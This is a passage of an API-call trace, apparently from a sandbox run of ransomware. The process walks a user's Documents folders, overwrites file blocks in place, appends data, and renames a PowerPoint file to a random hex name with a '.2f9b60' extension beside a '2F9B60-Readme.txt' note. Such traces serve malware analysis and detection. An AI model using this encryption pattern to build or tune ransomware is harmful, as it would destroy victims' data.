(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.199] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x224bfbd8, FileInformation=0x224bfbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x224bfbd8, FileInformation=0x224bfbe8) returned 0x0 [0093.199] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x224bfbd8, FileInformation=0x224bfbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f090) returned 1 [0093.200] FlushFileBuffers (hFile=0xcfc) returned 1 [0093.201] CloseHandle (hObject=0xcfc) returned 1 [0093.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f090 [0093.203] wcscpy (in: _Dest=0x1b85f090, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.203] wcscat (in: _Dest=0x1b85f090, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.203] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f090) returned 1 [0093.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e790) returned 1 Thread: id = 519 os_tid = 0xd7c [0093.205] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mpT_.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mpt_.ppt")) returned 0x20 [0093.205] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mpT_.ppt", dwFileAttributes=0x20) returned 1 [0093.206] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mpT_.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mpt_.ppt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0093.206] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x236af720 | out: lpFileSize=0x236af720*=98002) returned 1 [0093.206] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x17ece, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.206] ReadFile (in: hFile=0xcfc, lpBuffer=0x236af6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x236af6e8, lpOverlapped=0x0 | out: lpBuffer=0x236af6a0*, lpNumberOfBytesRead=0x236af6e8*=0x4, lpOverlapped=0x0) returned 1 [0093.207] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0093.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0093.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0093.207] NtQuerySystemTime (in: CurrentTime=0x236af5e0 | out: CurrentTime=0x236af5e0*=132462176990362000) returned 0x0 [0093.207] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x209d5f0e [0093.207] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x1824d06a [0093.207] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x708fd1d2 [0093.207] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x27523336 [0093.207] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x49a97382 [0093.207] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x2782f40b [0093.207] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x15e33ef0 [0093.207] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x56e9247a [0093.207] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x34ef50c3 [0093.207] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x13966b58 [0093.207] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x60c86b72 [0093.207] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x3c49dfc8 [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0xe84e837 [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x726f2ad7 [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x4cf1f26e [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x639b6f23 [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x4275ba87 [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x181225f5 [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x320bc800 [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x656164e4 [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x56b627e8 [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x5a2cd504 [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x4cb98545 [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x1f6c7391 [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x78ae6a15 [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x3630f0a [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x4ab66899 [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x4305ad15 [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x36171cab [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x70b0883e [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x16322f6c [0093.208] RtlRandomEx (in: Seed=0x236af5d0 | out: Seed=0x236af5d0) returned 0x3c7d3c25 [0093.217] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.217] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x236af640, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x236af640*=0x3c00, lpOverlapped=0x0) returned 1 [0093.217] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f090 [0093.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0093.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4f0) returned 1 [0093.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0093.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0093.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0093.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4c0) returned 1 [0093.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f090) returned 1 [0093.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.218] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x236af640, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x236af640*=0x3c00, lpOverlapped=0x0) returned 1 [0093.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0093.220] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.220] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x236af640, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x236af640*=0x3c00, lpOverlapped=0x0) returned 1 [0093.220] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f090 [0093.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0093.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4c0) returned 1 [0093.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0093.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0093.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0093.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d10) returned 1 [0093.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f090) returned 1 [0093.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.221] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x236af640, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x236af640*=0x3c00, lpOverlapped=0x0) returned 1 [0093.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0093.222] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x142d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.222] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x236af640, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x236af640*=0x3c00, lpOverlapped=0x0) returned 1 [0093.222] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x142d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f090 [0093.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0093.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d10) returned 1 [0093.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0093.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0093.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0093.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77d0) returned 1 [0093.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f090) returned 1 [0093.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.223] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x236af640, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x236af640*=0x3c00, lpOverlapped=0x0) returned 1 [0093.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0093.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e790 [0093.224] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.224] WriteFile (in: hFile=0xcfc, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x236af6f0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x236af6f0*=0x142, lpOverlapped=0x0) returned 1 [0093.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f090 [0093.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0093.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77d0) returned 1 [0093.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0093.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0093.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0093.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7bc0) returned 1 [0093.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f090) returned 1 [0093.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1ced7bc0 [0093.227] sprintf (in: _Dest=0x1ced7bc0, _Format="%c%c" | out: _Dest="60") returned 2 [0093.227] sprintf (in: _Dest=0x1ced7bc2, _Format="%c%c" | out: _Dest="ab") returned 2 [0093.227] sprintf (in: _Dest=0x1ced7bc4, _Format="%c%c" | out: _Dest="74") returned 2 [0093.227] sprintf (in: _Dest=0x1ced7bc6, _Format="%c%c" | out: _Dest="91") returned 2 [0093.227] sprintf (in: _Dest=0x1ced7bc8, _Format="%c%c" | out: _Dest="97") returned 2 [0093.227] sprintf (in: _Dest=0x1ced7bca, _Format="%c%c" | out: _Dest="4d") returned 2 [0093.227] sprintf (in: _Dest=0x1ced7bcc, _Format="%c%c" | out: _Dest="e0") returned 2 [0093.227] sprintf (in: _Dest=0x1ced7bce, _Format="%c%c" | out: _Dest="85") returned 2 [0093.227] sprintf (in: _Dest=0x1ced7bd0, _Format="%c%c" | out: _Dest="b2") returned 2 [0093.227] sprintf (in: _Dest=0x1ced7bd2, _Format="%c%c" | out: _Dest="2f") returned 2 [0093.227] sprintf (in: _Dest=0x1ced7bd4, _Format="%c%c" | out: _Dest="f0") returned 2 [0093.227] sprintf (in: _Dest=0x1ced7bd6, _Format="%c%c" | out: _Dest="b7") returned 2 [0093.227] sprintf (in: _Dest=0x1ced7bd8, _Format="%c%c" | out: _Dest="28") returned 2 [0093.227] sprintf (in: _Dest=0x1ced7bda, _Format="%c%c" | out: _Dest="3b") returned 2 [0093.227] sprintf (in: _Dest=0x1ced7bdc, _Format="%c%c" | out: _Dest="14") returned 2 [0093.227] sprintf (in: _Dest=0x1ced7bde, _Format="%c%c" | out: _Dest="b8") returned 2 [0093.228] RtlInitAnsiString (in: DestinationString=0x236af768, SourceString="60ab7491974de085b22ff0b7283b14b8" | out: DestinationString="60ab7491974de085b22ff0b7283b14b8") [0093.228] RtlAnsiStringToUnicodeString (in: DestinationString=0x236af738, SourceString="60ab7491974de085b22ff0b7283b14b8", AllocateDestinationString=1 | out: DestinationString="60ab7491974de085b22ff0b7283b14b8") returned 0x0 [0093.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c120 [0093.228] wcscat (in: _Dest=0x1b85f090, _Source="60ab7491" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\60ab7491") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\60ab7491" [0093.228] wcscat (in: _Dest=0x1b85f090, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\60ab7491.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\60ab7491.2f9b60" [0093.228] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\60ab7491.2f9b60", NtPathName=0x236af710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\60ab7491.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7ad5c0 [0093.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.231] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x236af778, FileInformation=0x236af788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x236af778, FileInformation=0x236af788) returned 0x0 [0093.231] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x236af778, FileInformation=0x236af788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f090) returned 1 [0093.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0093.232] FlushFileBuffers (hFile=0xcfc) returned 1 [0093.237] CloseHandle (hObject=0xcfc) returned 1 [0093.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f090 [0093.237] wcscpy (in: _Dest=0x1b85f090, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.237] wcscat (in: _Dest=0x1b85f090, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.238] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f090) returned 1 [0093.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e800) returned 1 Thread: id = 520 os_tid = 0xd80 [0093.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b86e800 [0093.244] wcscpy (in: _Dest=0x1b86e800, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" [0093.244] wcscat (in: _Dest=0x1b86e800, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\" [0093.244] wcscat (in: _Dest=0x1b86e800, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*" [0093.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd991e0 [0093.244] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0093.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd991e0) returned 1 [0093.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e800) returned 1 [0093.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e870) returned 1 Thread: id = 521 os_tid = 0xd84 [0093.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85f090 [0093.254] wcscpy (in: _Dest=0x1b85f090, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" [0093.254] wcscat (in: _Dest=0x1b85f090, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\" [0093.254] wcscat (in: _Dest=0x1b85f090, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*" [0093.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd991e0 [0093.254] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0093.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd991e0) returned 1 [0093.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f090) returned 1 [0093.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e8e0) returned 1 Thread: id = 522 os_tid = 0xd88 [0093.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e8e0 [0093.257] wcscpy (in: _Dest=0x1b86e8e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" [0093.257] wcscat (in: _Dest=0x1b86e8e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\" [0093.257] wcscat (in: _Dest=0x1b86e8e0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*" [0093.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd991e0 [0093.257] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cf70 [0093.259] wcscmp (_String1=".", _String2=".") returned 0 [0093.259] FindNextFileW (in: hFindFile=0x1cd9cf70, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.259] wcscmp (_String1="..", _String2=".") returned 1 [0093.259] wcscmp (_String1="..", _String2="..") returned 0 [0093.259] FindNextFileW (in: hFindFile=0x1cd9cf70, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.259] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0093.259] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0093.259] FindNextFileW (in: hFindFile=0x1cd9cf70, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0093.259] wcscmp (_String1="Favorites.vss", _String2=".") returned 1 [0093.259] wcscmp (_String1="Favorites.vss", _String2="..") returned 1 [0093.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b7849a0 [0093.259] wcscpy 